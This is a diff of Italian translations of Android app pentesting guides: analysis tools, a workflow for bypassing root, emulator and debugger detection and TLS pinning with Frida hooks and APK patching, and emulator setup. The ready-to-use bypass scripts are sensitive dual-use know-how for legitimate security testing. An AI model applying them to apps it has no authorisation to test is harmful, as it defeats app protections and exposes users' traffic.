**Androwarn** è uno strumento il cui obiettivo principale è rilevare e avvertire l'utente riguardo a potenziali comportamenti malevoli sviluppati da un'applicazione Android.
**Androwarn** è uno strumento il cui scopo principale è rilevare e avvisare l'utente riguardo potenziali comportamenti dannosi sviluppati da un'applicazione Android.
La rilevazione viene effettuata tramite la **static analysis** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
La rilevazione viene eseguita tramite **static analysis** del bytecode Dalvik dell'applicazione, rappresentato come **Smali**, utilizzando la libreria [`androguard`](https://github.com/androguard/androguard).
Questo strumento cerca i **comportamenti comuni delle applicazioni "malevoli"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
Questo tool cerca i **comportamenti comuni delle applicazioni "maligne"** come: Telephony identifiers exfiltration, Audio/video flow interception, PIM data modification, Arbitrary code execution...
```
python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
```
@ -747,76 +747,76 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
![](<../../images/image (595).png>)
**MARA** è un framework di **M**obile **A**pplication **R**everse engineering and **A**nalysis. È uno strumento che mette insieme tool comunemente usati per il reverse engineering e l'analisi di applicazioni mobile, per aiutare nel testing delle applicazioni contro le minacce di sicurezza mobile OWASP. L'obiettivo è rendere questo compito più semplice e accessibile agli sviluppatori di applicazioni mobile e ai professionisti della sicurezza.
**MARA** è un Framework per il Mobile Application Reverse engineering e Analysis. È uno strumento che mette insieme tool comunemente usati per il reverse engineering e l'analisi di mobile application, per aiutare nei test delle applicazioni mobili contro le minacce di sicurezza OWASP mobile. Il suo obiettivo è rendere questo compito più semplice e fruibile per gli sviluppatori di app mobili e i professionisti della sicurezza.
È in grado di:
- Estrarre codice Java e Smali usando diversi tool
- Estrarre codice Java e Smali usando diversi strumenti
- Analizzare APK usando: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Estrarre informazioni private dall'APK usando regexps.
- Analizzare il Manifest.
- Analizzare i domini trovati usando: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) e [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Deobfuscare APK tramite [apk-deguard.com](http://www.apk-deguard.com)
- Deoffuscare l'APK tramite [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Utile per rilevare malware: [https://koodous.com/](https://koodous.com/)
## Offuscare/Deoffuscare il codice
## Obfuscating/Deobfuscating code
Nota che, a seconda del servizio e della configurazione usata per offuscare il codice, i segreti possono risultare offuscati oppure no.
Nota che, a seconda del servizio e della configurazione che usi per offuscare il codice, i segreti potrebbero o meno risultare offuscati.
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento open source da riga di comando che riduce, ottimizza e offusca codice Java. È capace di ottimizzare il bytecode così come di rilevare e rimuovere istruzioni inutilizzate. ProGuard è software libero distribuito sotto la GNU General Public License, versione 2.
Da [Wikipedia](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard** è uno strumento open source da linea di comando che riduce, ottimizza e offusca codice Java. È in grado di ottimizzare il bytecode così come rilevare e rimuovere istruzioni non usate. ProGuard è software libero e viene distribuito sotto la GNU General Public License, versione 2.
ProGuard è distribuito come parte dell'Android SDK e viene eseguito quando si builda l'applicazione in modalità release.
ProGuard è distribuito come parte dell'Android SDK e viene eseguito durante la build dell'applicazione in modalità release.
### [DexGuard](https://www.guardsquare.com/dexguard)
Trovi una guida passo-passo per deoffuscare l'apk in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html)
(Dalla guida) L'ultima volta che abbiamo verificato, la modalità di funzionamento di Dexguard era:
(Da quella guida) L'ultima volta che abbiamo verificato, la modalità di funzionamento di Dexguard era:
- caricare una risorsa come InputStream;
- passare il risultato a una classe che eredita da FilterInputStream per decrittarla;
- fare qualche obfuscation inutile per far perdere tempo a un reverser;
- passare il risultato decrittato a un ZipInputStream per ottenere un file DEX;
- fare qualche inutile offuscamento per far perdere qualche minuto a un reverser;
- passare il risultato decrittato a uno ZipInputStream per ottenere un file DEX;
- infine caricare il DEX risultante come Resource usando il metodo `loadDex`.
### [DeGuard](http://apk-deguard.com)
**DeGuard inverte il processo di offuscamento eseguito dagli strumenti di offuscamento Android. Questo abilita numerose analisi di sicurezza, inclusa l'ispezione del codice e la predizione delle librerie.**
**DeGuard inverte il processo di offuscamento eseguito dagli strumenti di offuscamento Android. Ciò abilita numerose analisi di sicurezza, inclusa l'ispezione del codice e la predizione delle librerie.**
Puoi caricare un APK offuscato sulla loro piattaforma.
### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza in app android e deoffuscare il codice di app android. Usa l'API pubblica Google Gemini.
Questo è uno strumento LLM per trovare potenziali vulnerabilità di sicurezza nelle app Android e deoffuscare il codice delle app Android. Usa l'API pubblica Gemini di Google.
### [Simplify](https://github.com/CalebFenton/simplify)
È un deobfuscator android generico. Simplify **esegue praticamente un'app** per capirne il comportamento e poi **cerca di ottimizzare il codice** in modo che si comporti in modo identico ma sia più comprensibile per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale specifico tipo di offuscamento sia stato usato.
È un deoffuscatore Android generico. Simplify esegue virtualmente un'app per capirne il comportamento e poi cerca di ottimizzare il codice in modo che si comporti in modo identico ma sia più facile da comprendere per un umano. Ogni tipo di ottimizzazione è semplice e generica, quindi non importa quale tipo specifico di offuscamento sia stato usato.
### [APKiD](https://github.com/rednaga/APKiD)
APKiD ti dà informazioni su **come è stato creato un APK**. Identifica molti **compilers**, **packers**, **obfuscators**, e altre cose strane. È lo [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android.
APKiD ti dà informazioni su come è stato creato un APK. Identifica molti compilers, packers, obfuscators e altre cose strane. È il [_PEiD_](https://www.aldeid.com/wiki/PEiD) per Android.
### Manuale
### Manual
[Leggi questo tutorial per imparare alcuni trucchi su **come reverse custom obfuscation**](manual-deobfuscation.md)
[Read this tutorial to learn some tricks on **how to reverse custom obfuscation**](manual-deobfuscation.md)
## Labs
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b è una virtual machine per sicurezza Android basata su ubuntu-mate che include una raccolta degli ultimi framework, tutorial e lab di diversi security geeks e ricercatori per reverse engineering e malware analysis.
AndroL4b è una virtual machine per la sicurezza Android basata su ubuntu-mate che include la raccolta dei più recenti framework, tutorial e lab di diversi esperti e ricercatori per il reverse engineering e l'analisi malware.
## Riferimenti
## References
- [https://owasp.org/www-project-mobile-app-security/](https://owasp.org/www-project-mobile-app-security/)
- [https://appsecwiki.com/#/](https://appsecwiki.com/#/) È una grande lista di risorse
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido su Android
- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Android quick course
- [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
- [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
- [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
@ -825,7 +825,7 @@ AndroL4b è una virtual machine per sicurezza Android basata su ubuntu-mate che
- [smali-sslpin-patterns](https://github.com/aancw/smali-sslpin-patterns)
- [Build a Repeatable Android Bug Bounty Lab: Emulator vs Magisk, Burp, Frida, and Medusa](https://www.yeswehack.com/learn-bug-bounty/android-lab-mobile-hacking-tools)
## Da provare
## Yet to try
- [https://www.vegabird.com/yaazhini/](https://www.vegabird.com/yaazhini/)
- [https://github.com/abhi-r3v0/Adhrit](https://github.com/abhi-r3v0/Adhrit)

90
src/mobile-pentesting/android-app-pentesting/android-anti-instrumentation-and-ssl-pinning-bypass.md
View File

@ -2,30 +2,30 @@
{{#include ../../banners/hacktricks-training.md}}
Questa pagina fornisce un workflow pratico per recuperare l'analisi dinamica contro app Android che rilevano/bloccano l'instrumentation su device rootati o che applicano TLS pinning. Si concentra su triage rapido, rilevamenti comuni e hook/tattiche copiabili e incollabili per bypassarli evitando il repacking quando possibile.
Questa pagina fornisce un workflow pratico per riottenere l'analisi dinamica contro app Android che rilevano o bloccano l'instrumentation a causa del root o applicano TLS pinning. Si concentra su triage veloce, rilevamenti comuni e hook/tattiche copiabili/incollabili per aggirarli senza repack quando possibile.
## Detection Surface (what apps check)
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native anti‑debug: ptrace(), syscalls, anti‑attach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
- Controlli root: su binary, Magisk paths, getprop values, pacchetti root comuni
- Controlli Frida/debugger (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scansione di /proc, classpath, librerie caricate
- Anti-debug nativo: ptrace(), syscalls, anti‑attach, breakpoint, inline hooks
- Controlli di init precoce: Application.onCreate() o hook all'avvio del processo che crashano se è presente instrumentation
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, pin native
## Step 1 — Quick win: hide root with Magisk DenyList
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
- Abilita Zygisk in Magisk
- Abilita DenyList, aggiungi il package target
- Riavvia e ritesta
Molte app cercano solo indicatori ovvi (su/Magisk paths/getprop). DenyList spesso neutralizza controlli naivi.
Molte app cercano solo indicatori ovvi (su/Magisk paths/getprop). DenyList spesso neutralizza controlli ingenui.
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Step 2 — 30‑second Frida Codeshare tests
Prova script "drop‑in" comuni prima di approfondire:
Prova script drop‑in comuni prima di approfondire:
- anti-root-bypass.js
- anti-frida-detection.js
@ -35,13 +35,13 @@ Example:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Questi tipicamente stub Java root/debug checks, process/service scans, e native ptrace(). Utili su app poco protette; hardened targets potrebbero richiedere tailored hooks.
Questi tipicamente forniscono stub per Java root/debug checks, process/service scans e native ptrace(). Utili su app poco protette; i hardened targets potrebbero richiedere tailored hooks.
- Codeshare: https://codeshare.frida.re/
## Automatizza con Medusa (Frida framework)
Medusa offre oltre 90 moduli pronti all'uso per SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception e altro.
Medusa fornisce oltre 90 moduli pronti all'uso per SSL unpinning, root/emulator detection bypass, HTTP comms logging, crypto key interception e altro.
```bash
git clone https://github.com/Ch0pin/medusa
cd medusa
@ -56,38 +56,38 @@ run com.target.app
```
Suggerimento: Medusa è ottimo per ottenere risultati rapidi prima di scrivere custom hooks. Puoi anche cherry-pick modules e combinarli con i tuoi scripts.
## Passo 3 — Bypass init-time detectors by attaching late
## Passo 3 — Bypass init-time detectors agganciandosi più tardi
Molte rilevazioni vengono eseguite solo durante il process spawn/onCreate(). Spawn‑time injection (-f) o gadgets vengono intercettati; attaching dopo il caricamento della UI può invece passare.
Molte rilevazioni vengono eseguite solo durante il process spawn/onCreate(). Le iniezioni a spawn‑time (-f) o i gadgets vengono intercettati; agganciarsi dopo il caricamento della UI può farle passare inosservate.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Se questo funziona, mantieni la sessione stabile e procedi a mappare e verificare gli stub.
Se questo funziona, mantieni la sessione stabile e procedi con la mappatura e i controlli degli stub.
## Fase 4 — Mappare la logica di rilevamento tramite Jadx e ricerca di stringhe
## Step 4 — Mappa la logica di rilevamento tramite Jadx e string hunting
Parole chiave per triage statico in Jadx:
Static triage keywords in Jadx:
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Tipici pattern Java:
Typical Java patterns:
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
API comuni da esaminare/hook:
API comuni da review/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
- java.lang.System.loadLibrary / System.load (bridge nativo)
- java.lang.Runtime.exec / ProcessBuilder (comandi di probing)
- android.os.SystemProperties.get (heuristiche root/emulator)
## Passo 5 — Runtime stubbing con Frida (Java)
Sovrascrivi guardie custom per restituire valori sicuri senza repacking:
Sovrascrivi i custom guard per restituire valori sicuri senza repacking:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -102,7 +102,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Triaging early crashes? Dump classes poco prima che si chiuda per individuare i probabili detection namespaces:
Triaging early crashes? Dump classes poco prima che si arresti per individuare i probabili detection namespaces:
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -111,7 +111,7 @@ onComplete: () => console.log('Done')
});
});
```
```
```javascript
// Quick root detection stub example (adapt to target package/class names)
Java.perform(() => {
try {
@ -121,7 +121,7 @@ RootChecker.isDeviceRooted.implementation = function () { return false; };
});
```
Log e neutralizza metodi sospetti per confermare il flusso di esecuzione:
Registra e neutralizza i metodi sospetti per confermare il flusso di esecuzione:
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -133,7 +133,7 @@ return false;
```
## Bypass emulator/VM detection (Java stubs)
Euristiche comuni: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contenenti generic/goldfish/ranchu/sdk; artefatti QEMU come /dev/qemu_pipe, /dev/socket/qemud; MAC predefinito 02:00:00:00:00:00; NAT 10.0.2.x; assenza di telefonia/sensori.
Euristiche comuni: Build.FINGERPRINT/MODEL/MANUFACTURER/HARDWARE contenenti generic/goldfish/ranchu/sdk; artefatti QEMU come /dev/qemu_pipe, /dev/socket/qemud; MAC predefinito 02:00:00:00:00:00; NAT 10.0.2.x; mancanza di telephony/sensors.
Spoof rapido dei campi Build:
```js
@ -145,7 +145,7 @@ Build.BRAND.value = 'google';
Build.FINGERPRINT.value = 'google/panther/panther:14/UP1A.231105.003/1234567:user/release-keys';
});
```
Completa con stub per i controlli di esistenza dei file e per gli identificatori (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) in modo da restituire valori realistici.
Aggiungi stub per i controlli di esistenza dei file e per gli identificatori (TelephonyManager.getDeviceId/SubscriberId, WifiInfo.getMacAddress, SensorManager.getSensorList) in modo da restituire valori realistici.
## SSL pinning bypass quick hook (Java)
@ -168,16 +168,16 @@ return SSLContextInit.call(this, km, TrustManagers, sr);
});
```
Note
- Estendere per OkHttp: hook okhttp3.CertificatePinner e HostnameVerifier se necessario, oppure utilizzare uno script universale di unpinning da CodeShare.
- Estendi per OkHttp: hook okhttp3.CertificatePinner e HostnameVerifier secondo necessità, oppure usa uno script di unpinning universale da CodeShare.
- Esempio di esecuzione: `frida -U -f com.target.app -l ssl-bypass.js --no-pause`
## Fase 6 — Seguire la traccia JNI/native quando i Java hooks falliscono
## Passaggio 6 — Segui la traccia JNI/native quando i Java hooks falliscono
Traccia i punti di ingresso JNI per localizzare native loaders e detection init:
Traccia i punti di ingresso JNI per individuare i loader nativi e l'inizializzazione del rilevamento:
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Triage nativo rapido dei file .so inclusi:
Rapida triage nativa dei file .so inclusi:
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
@ -188,7 +188,7 @@ Interattivo/nativo reversing:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Esempio: neuter ptrace per eludere un semplice anti‑debug in libc:
Esempio: neutralizzare ptrace per aggirare un semplice anti‑debug in libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -204,28 +204,28 @@ reversing-native-libraries.md
## Passo 7 — Objection patching (embed gadget / strip basics)
Se preferisci il repacking ai runtime hooks, prova:
Quando preferisci repacking a runtime hooks, prova:
```bash
objection patchapk --source app.apk
```
Note:
- Richiede apktool; assicurati di avere una versione aggiornata seguendo la guida ufficiale per evitare problemi di build: https://apktool.org/docs/install
- Gadget injection permette instrumentation senza root, ma può comunque essere rilevato da controlli init‑time più stringenti.
- Richiede apktool; assicurati di una versione aggiornata seguendo la guida ufficiale per evitare problemi di build: https://apktool.org/docs/install
- Gadget injection abilita l'instrumentation senza root ma può comunque essere rilevata da init‑time checks più stringenti.
Opzionalmente, aggiungi moduli LSPosed e Shamiko per un nascondimento del root più efficace negli ambienti Zygisk, e cura la DenyList per coprire i processi figli.
Opzionalmente, aggiungi moduli LSPosed e Shamiko per un nascondimento del root più robusto in ambienti Zygisk, e cura DenyList per coprire i processi figli.
Riferimenti:
- Objection: https://github.com/sensepost/objection
## Passo 8 — Fallback: Patch TLS pinning per la visibilità della rete
## Passo 8 — Ripiego: Patch TLS pinning per la visibilità della rete
Se l'instrumentation è bloccata, puoi comunque ispezionare il traffico rimuovendo staticamente il TLS pinning:
Se l'instrumentation è bloccata, puoi comunque ispezionare il traffico rimuovendo il pinning staticamente:
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Strumento: https://github.com/shroudedcode/apk-mitm
- Per i trucchi relativi a CA‑trust nella configurazione di rete (e al user CA trust di Android 7+), vedi:
- Per le tecniche di CA‑trust nella configurazione di rete (e per la trust delle CA utente in Android 7+), vedi:
{{#ref}}
make-apk-accept-ca-certificate.md
@ -253,11 +253,11 @@ objection --gadget com.example.app explore
# Static TLS pinning removal
apk-mitm app.apk
```
## Suggerimenti & avvertenze
## Suggerimenti e avvertenze
- Privilegia attaching late rispetto allo spawning quando le app crashano all'avvio
- Alcune detections si re‑run nei flussi critici (es. payment, auth) — tieni i hooks attivi durante la navigazione
- Mix static e dynamic: string hunt in Jadx per accorciare la lista delle classi; poi hook methods per verificare a runtime
- Preferire attaching late anziché spawning quando le app crashano all'avvio
- Alcune rilevazioni vengono rieseguite nei flussi critici (es. payment, auth) — mantenere i hooks attivi durante la navigazione
- Combina analisi statica e dinamica: cerca stringhe in Jadx per restringere la lista delle classi; poi hooka i metodi per verificarli a runtime
- Le app hardened possono usare packers e native TLS pinning — aspettati di dover reverse il codice nativo
## References

94
src/mobile-pentesting/android-app-pentesting/avd-android-virtual-device.md
View File

@ -2,33 +2,33 @@
{{#include ../../banners/hacktricks-training.md}}
Grazie mille a [**@offsecjay**](https://twitter.com/offsecjay) per il suo aiuto nella creazione di questo contenuto.
Un grazie enorme a [**@offsecjay**](https://twitter.com/offsecjay) per il suo aiuto nella creazione di questo contenuto.
## Cos'è
## Che cos'è
Android Studio permette di **eseguire macchine virtuali Android che puoi usare per testare APKs**. Per usarle avrai bisogno di:
Android Studio permette di **eseguire macchine virtuali Android che puoi usare per testare APK**. Per usarle avrai bisogno di:
- Gli **Android SDK tools** - [Download here](https://developer.android.com/studio/releases/sdk-tools).
- Oppure **Android Studio** (con Android SDK tools) - [Download here](https://developer.android.com/studio).
Su Windows (nel mio caso) **dopo aver installato Android Studio** avevo gli **SDK Tools installati in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
In Windows (nel mio caso), **dopo aver installato Android Studio**, ho trovato gli **SDK Tools installati in**: `C:\Users\<UserName>\AppData\Local\Android\Sdk\tools`
Su mac puoi **scaricare gli SDK tools** e averli nel PATH eseguendo:
Su mac puoi **scaricare gli SDK tools** e aggiungerli al PATH eseguendo:
```bash
brew tap homebrew/cask
brew install --cask android-sdk
```
Oppure da **Android Studio GUI** come indicato in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) che li installerà in `~/Library/Android/sdk/cmdline-tools/latest/bin/` e `~/Library/Android/sdk/platform-tools/` e `~/Library/Android/sdk/emulator/`
Oppure tramite **Android Studio GUI** come indicato in [https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a](https://stackoverflow.com/questions/46402772/failed-to-install-android-sdk-java-lang-noclassdeffounderror-javax-xml-bind-a) che li installerà in `~/Library/Android/sdk/cmdline-tools/latest/bin/` e `~/Library/Android/sdk/platform-tools/` e `~/Library/Android/sdk/emulator/`
Per i problemi Java:
```java
export JAVA_HOME=/Applications/Android\ Studio.app/Contents/jbr/Contents/Home
```
## GUI
## Interfaccia grafica (GUI)
### Prepare Virtual Machine
### Preparare la macchina virtuale
If you installed Android Studio, you can just open the main project view and access: _**Tools**_ --> _**AVD Manager.**_
Se hai installato Android Studio, puoi semplicemente aprire la vista principale del progetto e accedere: _**Tools**_ --> _**AVD Manager.**_
<div align="center" data-full-width="false">
@ -36,38 +36,38 @@ If you installed Android Studio, you can just open the main project view and acc
</div>
Then, click on _**Create Virtual Device**_
Poi, clicca su _**Create Virtual Device**_
<figure><img src="../../images/image (1143).png" alt="" width="188"><figcaption></figcaption></figure>
_**seleziona** il telefono che vuoi usare_ e fai clic su _**Next.**_
_**seleziona** il telefono che vuoi usare_ e clicca su _**Next.**_
> [!WARNING]
> If you need a phone with Play Store installed select one with the Play Store icon on it!
> Se hai bisogno di un telefono con Play Store installato seleziona uno con l'icona di Play Store!
>
> <img src="../../images/image (1144).png" alt="" data-size="original">
Nella vista corrente potrai **selezionare e scaricare l'immagine Android** che il telefono eseguirà:
Nella vista corrente potrai **selezionare e scaricare l'immagine Android** che il telefono andrà a eseguire:
<figure><img src="../../images/image (1145).png" alt="" width="375"><figcaption></figcaption></figure>
Quindi, selezionala e se non è scaricata fai clic sul simbolo _**Download**_ accanto al nome (**adesso aspetta fino al completamento del download dell'immagine).**\
Una volta scaricata l'immagine, seleziona semplicemente **`Next`** e **`Finish`**.
Quindi, selezionala e, se non è scaricata, clicca sul simbolo _**Download**_ accanto al nome (**attendi ora finché l'immagine non è scaricata).**\
Una volta che l'immagine è stata scaricata, seleziona semplicemente **`Next`** e **`Finish`**.
La virtual machine verrà creata. Ora **ogni volta che accederai all'AVD manager sarà presente**.
La macchina virtuale verrà creata. Ora **ogni volta che accederai all'AVD Manager sarà presente**.
### Run Virtual Machine
### Eseguire la macchina virtuale
In order to **run** it just press the _**Start button**_.
Per **eseguirla** premi semplicemente il _**Start button**_.
![](<../../images/image (518).png>)
## Command Line tool
## Strumento da riga di comando
> [!WARNING]
> For macOS you can find the `avdmanager` tool in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` and the `emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` if you have them installed.
> Per macOS puoi trovare lo strumento `avdmanager` in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` e l'`emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` se li hai installati.
First of all you need to **decide which phone you want to use**, in order to see the list of possible phones execute:
Prima di tutto devi **decidere quale telefono vuoi usare**, per vedere la lista dei telefoni possibili esegui:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list device
@ -100,11 +100,11 @@ Puoi elencare tutte le opzioni usando `sdkmanager`:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat --list
```
E **download** quello (o tutti quelli) che vuoi usare con:
E **scarica** quello (o tutti quelli) che vuoi usare con:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\sdkmanager.bat "platforms;android-28" "system-images;android-28;google_apis;x86_64"
```
Una volta scaricata l'immagine Android che vuoi usare puoi **elencare tutte le immagini Android scaricate** con:
Una volta scaricata l'immagine Android che vuoi usare, puoi **elencare tutte le immagini Android scaricate** con:
```
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list target
----------
@ -120,11 +120,11 @@ Type: Platform
API level: 29
Revision: 4
```
A questo punto hai deciso il dispositivo che vuoi utilizzare e hai scaricato l'immagine Android, quindi **puoi creare la macchina virtuale usando**:
A questo punto hai deciso quale dispositivo utilizzare e hai scaricato l'immagine Android, quindi **puoi creare la macchina virtuale usando**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat -v create avd -k "system-images;android-28;google_apis;x86_64" -n "AVD9" -d "Nexus 5X"
```
Nel comando precedente **ho creato una VM chiamata** "_AVD9_" usando il **dispositivo** "_Nexus 5X_" e l'**immagine Android** "_system-images;android-28;google_apis;x86_64_".\
Nell'ultimo comando **ho creato una VM chiamata** "_AVD9_" utilizzando il **dispositivo** "_Nexus 5X_" e la **immagine Android** "_system-images;android-28;google_apis;x86_64_".\
Ora puoi **elencare le macchine virtuali** che hai creato con:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\bin\avdmanager.bat list avd
@ -140,18 +140,18 @@ Name: Pixel_2_API_27
Path: C:\Users\cpolo\.android\avd\Pixel_2_API_27_1.avd
Error: Google pixel_2 no longer exists as a device
```
### Eseguire la macchina virtuale
### Avvia la macchina virtuale
> [!WARNING]
> Per macOS puoi trovare lo strumento `avdmanager` in `/Users/<username>/Library/Android/sdk/tools/bin/avdmanager` e l'`emulator` in `/Users/<username>/Library/Android/sdk/emulator/emulator` se li hai installati.
Abbiamo già visto come puoi elencare le macchine virtuali create, ma **puoi anche elencarle usando**:
Abbiamo già visto come elencare le macchine virtuali create, ma **puoi anche elencarle usando**:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -list-avds
AVD9
Pixel_2_API_27
```
Puoi semplicemente **avviare qualsiasi macchina virtuale creata** usando:
Puoi semplicemente **eseguire qualsiasi macchina virtuale creata** usando:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "VirtualMachineName"
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9"
@ -160,9 +160,9 @@ Oppure, usando opzioni più avanzate, puoi eseguire una macchina virtuale come:
```bash
C:\Users\<UserName>\AppData\Local\Android\Sdk\tools\emulator.exe -avd "AVD9" -http-proxy 192.168.1.12:8080 -writable-system
```
### Opzioni da riga di comando
### Opzioni della riga di comando
Tuttavia ci sono **molte diverse opzioni utili da riga di comando** che puoi usare per avviare una macchina virtuale. Qui sotto puoi trovare alcune opzioni interessanti ma puoi [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
Tuttavia esistono **molte opzioni utili da riga di comando** che puoi usare per avviare una macchina virtuale. Qui sotto trovi alcune opzioni interessanti, ma puoi [**find a complete list here**](https://developer.android.com/studio/run/emulator-commandline)
**Avvio**
@ -171,8 +171,8 @@ Tuttavia ci sono **molte diverse opzioni utili da riga di comando** che puoi usa
**Rete**
- `-dns-server 192.0.2.0, 192.0.2.255` : Permette di indicare, separati da virgola, i server DNS per la VM.
- **`-http-proxy 192.168.1.12:8080`** : Permette di indicare un proxy HTTP da usare (molto utile per catturare il traffico usando Burp)
- `-dns-server 192.0.2.0, 192.0.2.255` : Consente di indicare, separati da virgola, i server DNS per la VM.
- **`-http-proxy 192.168.1.12:8080`** : Consente di indicare un proxy HTTP da usare (molto utile per catturare il traffico usando Burp)
- Se le impostazioni del proxy non funzionano per qualche motivo, prova a configurarle internamente o usando un'applicazione come "Super Proxy" o "ProxyDroid".
- `-netdelay 200` : Imposta l'emulazione della latenza di rete in millisecondi.
- `-port 5556` : Imposta il numero di porta TCP usato per la console e adb.
@ -183,12 +183,12 @@ Tuttavia ci sono **molte diverse opzioni utili da riga di comando** che puoi usa
- `-selinux {disabled|permissive}` : Imposta il modulo di sicurezza Security-Enhanced Linux in modalità disabled o permissive su un sistema operativo Linux.
- `-timezone Europe/Paris` : Imposta il fuso orario per il dispositivo virtuale
- `-screen {touch(default)|multi-touch|o-touch}` : Imposta la modalità del touch screen emulato.
- **`-writable-system`** : Usa questa opzione per avere un'immagine di sistema scrivibile durante la sessione di emulazione. Dovrai inoltre eseguire `adb root; adb remount`. Questo è molto utile per installare un nuovo certificato nel sistema.
- `-screen {touch(default)|multi-touch|o-touch}` : Imposta la modalità touch screen emulata.
- **`-writable-system`** : Usa questa opzione per avere un'immagine di sistema scrivibile durante la sessione di emulazione. Dovrai anche eseguire `adb root; adb remount`. Questo è molto utile per installare un nuovo certificato nel sistema.
## Configurazione CLI Linux (SDK/AVD quickstart)
Gli strumenti CLI ufficiali rendono facile creare emulatori veloci e debugabili senza Android Studio.
Gli strumenti CLI ufficiali rendono facile creare emulatori veloci e facilmente debuggabili senza Android Studio.
```bash
# Directory layout
mkdir -p ~/Android/cmdline-tools/latest
@ -217,11 +217,11 @@ adb root
adb shell whoami # expect: root
```
Note
- Varianti di system image: google_apis (debuggable, permette adb root), google_apis_playstore (non rootable), aosp/default (leggera).
- Tipi di build: userdebug spesso permette `adb root` su immagini con capacità di debug. Le immagini Play Store sono build di produzione e bloccano il root.
